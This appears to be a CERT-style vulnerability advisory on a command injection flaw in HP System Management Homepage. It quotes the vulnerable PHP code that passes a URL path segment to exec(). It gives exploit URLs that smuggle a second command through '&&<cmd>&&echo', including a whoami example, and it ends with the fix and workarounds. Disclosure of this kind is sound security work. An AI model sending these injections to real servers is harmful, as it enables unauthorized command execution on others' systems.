Software Engineering Institute

Markus Wulftange from Daimler TSS reports:

The vulnerability is located in the `ginkgosnmp.inc` PHP file in the `C:\hp\hpsmh\data\smhutil` or `/opt/hp/hpsmh/data/smhutil` directory, respectively. Inside the `ginkgosnmp.inc` script, the last path segment of the current requested URL path is used in a `exec` call without proper escaping:

$tempfilename = "$sessiondir/" . substr($_SERVER["SCRIPT_URL"], 1 + strrpos($_SERVER["SCRIPT_URL"], '/')) . uniqid(".", true) . time() . ".txt";

[...]

if("Linux" == PHP_OS)
$cmd = "../../webapp-data/webagent/csginkgo -f$tempfilename";
else
{
$windrive = substr( $_SERVER["WINDIR"], 0, 2 );
$cmd = "$windrive\\hp\\hpsmh\\data\\smhutil\\csginkgo.exe -f$tempfilename";
}

exec( $cmd, $out );

This script is reachable via the URL path `https://<host>:2381/smhutil/snmpchp.php.en`. Due to [Apache’s *MultiViews*] [2] it can also be referenced with any additional path segments after the `snmpchp.php.en` segment: `https://<host>:2381/smhutil/snmpchp.php.en/foo/bar` still triggers `https://<host>:2381/smhutil/snmpchp.php.en` but `$_SERVER["SCRIPT_URL"]` is `https://<host>:2381/smhutil/snmpchp.php.en/foo/bar`. This can be exploited as follows:

https://<host>:2381/smhutil/snmpchp.php.en/&&<cmd>&&echo (full file name)
https://<host>:2381/smhutil/snmpchp.php/&&<cmd>&&echo (without "en" language indicator)
https://<host>:2381/smhutil/snmpchp/&&<cmd>&&echo (without any file name extension)

Besides the path segment separator `/`, the characters `<`, `>`, and `|` are also not allowed, which makes exploiting this vulnerability a little hard.

https://<host>:2381/smhutil/snmpchp/&&whoami&&echo

A remote authenticated user may be able to run arbitrary commands on the HP System Management Homepage server.

Apply an Update
HP System Management Homepage (SMH) version 7.2.2 and later address this vulnerability. If you cannot upgrade for whatever reason, please consider the following workarounds.

Restrict Network Access

As a general good security practice, only allow connections from trusted hosts and networks. Restricting access would prevent an attacker from connecting to the service from a blocked network location.